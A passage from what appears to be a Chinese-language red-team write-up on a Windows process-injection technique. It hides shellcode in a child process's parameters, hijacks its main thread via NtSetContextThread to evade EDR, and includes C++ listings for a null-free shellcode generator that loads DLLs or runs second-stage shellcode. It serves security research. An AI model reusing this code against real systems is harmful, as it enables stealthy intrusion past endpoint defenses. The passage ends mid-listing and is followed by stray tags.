pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
```
*代码清单 8:定位注入数据的第三步*
此方法仅使用内存读取 API,而不使用 EDR 重点关注的写入或分配 API。但是,参数带来了一定的限制。由于这些参数是 null 终止字符串,因此只能完整传递不包含 null 终止符的 shellcode。第 5 节给出了解决此限制的方案。
### 4.3 执行注入的代码
传递代码后,仍需将进程的执行流引导至该代码。此外,必须调整注入数据的内存保护,因为参数并未放置在标记为可执行的区域中。
要更改保护属性,使用 Windows API `NtProtectVirtualMemory` 将保护属性从仅可读和可写更改为仅可读和可执行。
要将代码执行重定向到 shellcode,存在以下三种方法:
- **`CreateRemoteThread` / `NtCreateThreadEx`:** 创建一个从 shellcode 开始的新线程
- **`QueueUserAPC` / `NtQueueApcThread`:** 在现有线程上排队一个 APC,最终将其重定向到 shellcode
- **线程上下文操纵:** 修改现有线程的指令指针,将其执行移至 shellcode
在该技术的初步实现期间,评估了使用 Dirty Vanity 方法来执行代码。然而,几种 EDR 对此方法发出了警报。
深入研究 `RtlCreateProcessReflection` 的实现后发现,它调用了 `NtWriteVirtualMemory` 和 `NtCreateThreadEx`。本质上,它在目标进程中创建一个线程以执行 `ntdll.dll` 内的一个函数。该函数既通过调用 `RtlCloneUserProcess` 创建了分支进程,又对分支进程执行了内存写入。
由于 `NtWriteVirtualMemory` 是 EDR 使用的主要指标之一,Dirty Vanity 方法只会引起不必要的怀疑。
取而代之的是,使用了主线程上下文操纵,因为它相比于 Dirty Vanity 具有以下优势:
- **线程句柄的可用性:** `CreateProcessW` 已经在 `PROCESS_INFORMATION` 结构中为主线程提供了有效的句柄。句柄是内核提供的一种抽象引用对象,用于与进程、线程和文件等系统资源进行交互。句柄本质上是进程特定句柄表中的索引,将每个句柄映射到内核中的对象,并具有对该对象的关联访问级别。
- **避免可疑的 API 调用:** 从不使用 `NtWriteVirtualMemory`、`VirtualAllocEx` 和 `CreateRemoteThread`,仅调用 `NtSetContextThread`。
线程的上下文是所有处理器寄存器的状态。因此,可以通过操纵线程的上下文(即更改指令指针寄存器)来重定向线程的执行流。通常,线程上下文的操纵分为以下几个步骤:
1. **线程挂起:** 通过调用 `SuspendThread` 或以挂起状态创建线程,将目标线程置于挂起状态
2. **读取上下文:** 通过 `GetThreadContext` 将当前上下文读取到 `CONTEXT` 数据结构中
3. **修改上下文:** 对上下文进行所需的更改,例如更改指令指针寄存器 `RIP`
4. **应用上下文:** 通过调用 `SetThreadContext` 将修改后的上下文写入线程
5. **恢复线程:** 调用 `ResumeThread` 以在新的 `RIP` 值处恢复线程的执行
无需先挂起线程即可更改其上下文。因此,无需调用可能会被 EDR 监控以用于进程注入的 `SuspendThread` 和 `ResumeThread`。此外,如果稍后不需要恢复先前的执行,也可以跳过调用 `GetThreadContext`。最终的实现如代码清单 9 所示。
```
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}
```
*代码清单 9:ThreadSetExec 中线程上下文的操纵*
### 4.4 已实现的 Payload 注入
我们对这种注入技术的实现包含如图 5 所示的四种 payload 选项。
1. 第一个选项是一个简单的演示,它会弹出一个窗口,如图 5 所示。此选项不需要注入更多的 shellcode 或可执行文件。
2. 选项二采用 shellcode 的十六进制表示形式并将其注入。如果 shellcode 包含 null 字节,则使用第 5 节中描述的方法进行注入。
3. 第三个选项接受 DLL 文件的路径,然后将其提供给目标内的 `LoadLibraryA`。
4. 最后,选项四从 HTTP(S) URL 加载 shellcode,并处理了 null 字节的限制。
*图 5:选择注入的 Shellcode*
*图 6:由 Shellcode 创建的消息框*
## 5. 在字符串中传递任意 Shellcode
无法在参数中传递任何任意数据。这是因为只会复制到 null 终止符为止的数据。为了克服这个限制,我们构建了一个不发出 null 终止符的 shellcode 生成器。
该 shellcode 生成器可以创建调用带有任意参数的 `MessageBoxA`、`LoadLibraryA`、`NtTerminateProcess` 或 `NtSuspendThread` 的 shellcode。此外,它还可以生成解码任意第二阶段 shellcode 并跳转到该 shellcode 的 shellcode。
它在 `ShellCodeWriter` C++ 类中实现,该类具有私有的辅助方法和用于公开功能的公共方法。实现细节将在下文进行说明。
### 5.1 Shellcode 生成器使用的底层辅助方法
`Xor` 被用作允许 shellcode 生成任何数据(包括零字节)的基元。此原语在采用两个 64 位值的辅助方法 `SetRAXXOR` 中实现。它发出对给定的 64 位值执行 xor 操作并将结果保存在 `RAX` 寄存器中的 shellcode。
另一个辅助方法 `SetRAX` 创建这两个 64 位值,它们进行 xor 运算后会得出给定的值。它还确保这两个 64 位值不包含零字节。本质上,`SetRAX` 发出将 `RAX` 寄存器设置为任意 64 位值的 shellcode。
`SetRAXXOR` 和 `SetRAX` 均如代码清单 10 所示。此外,三个 `SetRAX` 调用示例所产生的机器代码如代码清单 11 所示。
```
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
```
*代码清单 10:SetRAXXOR 和 SetRAX 的实现*
```
; SetRAX(0)
xor rax, rax
; SetRAX(0xDEADBEEF)
mov rax, 0x01010101DFACBFEE
mov r15, 0x0101010101010101
xor rax, r15
; SetRAX(1)
mov rax, 0x0101010101010103
mov r15, 0x0101010101010102
xor rax, r15
```
*代码清单 11:SetRAX 发出的代码示例*
`SetRAX` 是辅助方法 `PushValue`、`PushBuffer`、`SetArgRegister` 和 `SetArgRegisterStackRelative` 的基础。`PushValue` 调用 `SetRAX` 并在其后跟随一条 `push RAX` 指令,从而允许将任意值压入堆栈。`PushBuffer` 使用 `PushValue` 在堆栈上写入任意字节数组;为此,它将数据拆分为 64 位值并以相反的顺序压栈。必须颠倒顺序,因为堆栈指针在每次压栈后都会递减。Shellcode 生成器通过 `m_total_consumed_stack_bytes` 变量跟踪已压入了多少字节。此变量用于 `FreeStack` 辅助方法中以清理堆栈,将堆栈指针恢复到其初始值。
在 Windows 64 位 x86 应用程序二进制接口中,调用函数时使用寄存器 `RCX`、`RDX`、`R8` 和 `R9` 来传递前四个参数。附加参数在 32 字节的影子空间之后被压入堆栈。影子空间是为被调用函数预留的,用于保存前四个参数寄存器。`SetArgRegister` 和 `SetArgRegisterStackRelative` 用于设置这四个参数寄存器之一。`SetArgRegister` 将给定的寄存器设置为任意常量值。`SetArgRegisterStackRelative` 生成的代码将堆栈指针加上常量偏移量写入相应的参数寄存器。任何附加的函数参数都可以使用 `PushValue` 辅助方法进行压栈。
辅助方法 `Call` 发出的代码首先将堆栈指针对齐到 16 字节,然后执行对给定地址的调用,最后恢复其最初所做的任何对齐更改。对于利用 XMM 浮点寄存器操作的函数,需要 16 字节对齐的堆栈指针以防止崩溃。当调用带有在堆栈上传递的参数的函数时,必须在调用此辅助方法之前确保对齐正确。否则,参数最终会处于错误的堆栈偏移量处。
### 5.2 高层操作的实现
最简单的操作是调用 `NtTerminateProcess` 或 `NtSuspendThread`。由于它们的相似性,将仅介绍 `NtTerminateProcess`,如代码清单 12 所示。`NtTerminateProcess` 接受两个参数并遵循 x64 调用约定。首先,为这两个参数调用辅助方法 `SetArgRegister`,用提供的值初始化它们。然后调用该 API 函数。
由于 shellcode 是在同一台机器上生成的,因此函数的地址是在生成时解析的,而不是在 shellcode 内部解析的。解析 API 函数由 `WinApiResolver` 类处理。最后,`Call` 辅助方法生成调用指令和堆栈对齐代码。
```
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
```
*代码清单 12:ShellCodeWriter::CallTerminateProcess 的实现*
接受指针值的函数(例如 `LoadLibraryA` 和 `MessageBoxA`)不能以相同的方式使用。这是因为需要有效的内存地址,而在生成 shellcode 时这是未知的。因此,使用辅助方法 `SetArgRegisterStackRelative` 将参数设置为堆栈上的地址。在代码清单 13 中,模块参数字符串被写入堆栈,并且第一个参数寄存器被设置为指向堆栈上模块字符串的开头。此外,该函数将堆栈指针移动了 32 字节,以考虑影子空间。如果没有这个操作,被调用的函数将覆盖模块字符串。
```
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
```
*代码清单 13:ShellCodeWriter::CallLoadLibraryA 的实现*
最后,`LoadAndCallShellCode` 接受可以包含零字节的任意 shellcode 并执行它。其实现如代码清单 14 和 15 所示,分为以下五个操作:
1. 通过 `PushBuffer` 将任意 shellcode 写入堆栈。随后,分配影子空间以保护 shellcode 免遭覆盖。
2. 接下来,对 `VirtualAlloc` 进行简单调用,使用在生成时已知的参数。此 API 调用分配受读写保护且能容纳该 shellcode 的内存。
3. 之后,从 `VirtualAlloc` 返回的内存地址被保存到 `R12` 和 `R10` 这两个寄存器中。然后将 `R11` 初始化为 shellcode 的大小,并将 `RCX` 设置为指向 shellcode 的开头。在设置了寄存器 `R10`、`R11` 和 `RCX` 之后,紧接着是六条执行内存拷贝的指令,将 shellcode 复制到新分配的内存区域。
4. 尚无法跳转到 shellcode,因为内存区域受读写保护。分配一个可读写且可执行的区域是可能的,但这更有可能被视为可疑。因此,调用 `VirtualProtect` 将保护更改为可读和可执行,但不可写。
5. 最后,在确保堆栈正确对齐之后,跳转到 shellcode。
```
void ShellCodeWriter::LoadAndCallShellCode(const std::vector标签:Dionaea, Shellcode执行, SSH蜜罐, Windows内核, 客户端加密, 数据展示, 白帽子, 端点可见性, 红队, 进程注入